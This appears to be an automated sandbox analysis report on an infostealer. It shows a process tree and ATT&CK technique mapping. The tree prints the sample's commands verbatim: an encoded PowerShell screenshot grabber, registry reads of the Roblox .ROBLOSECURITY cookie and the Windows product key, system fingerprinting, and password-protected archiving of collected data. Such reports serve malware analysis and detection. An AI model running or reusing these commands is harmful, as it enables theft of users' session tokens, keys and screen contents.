QAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3156
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ajzxdrkk\ajzxdrkk.cmdline"
        5⤵
        
        PID:2596
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESADF3.tmp" "c:\Users\Admin\AppData\Local\Temp\ajzxdrkk\CSC6B8FD5D77C3D46B4819D304DB556258E.TMP"
        6⤵
        
        PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2640
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:5044
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:1112
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:3316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1700
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:372
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI45922\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\6dOS6.zip" *"
    3⤵
    PID:5000
  - - C:\Users\Admin\AppData\Local\Temp\_MEI45922\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI45922\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\6dOS6.zip" *
      4⤵
      Executes dropped EXE
      PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:3152
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:212
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:1088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:3668
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:3552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4420
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:3988
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...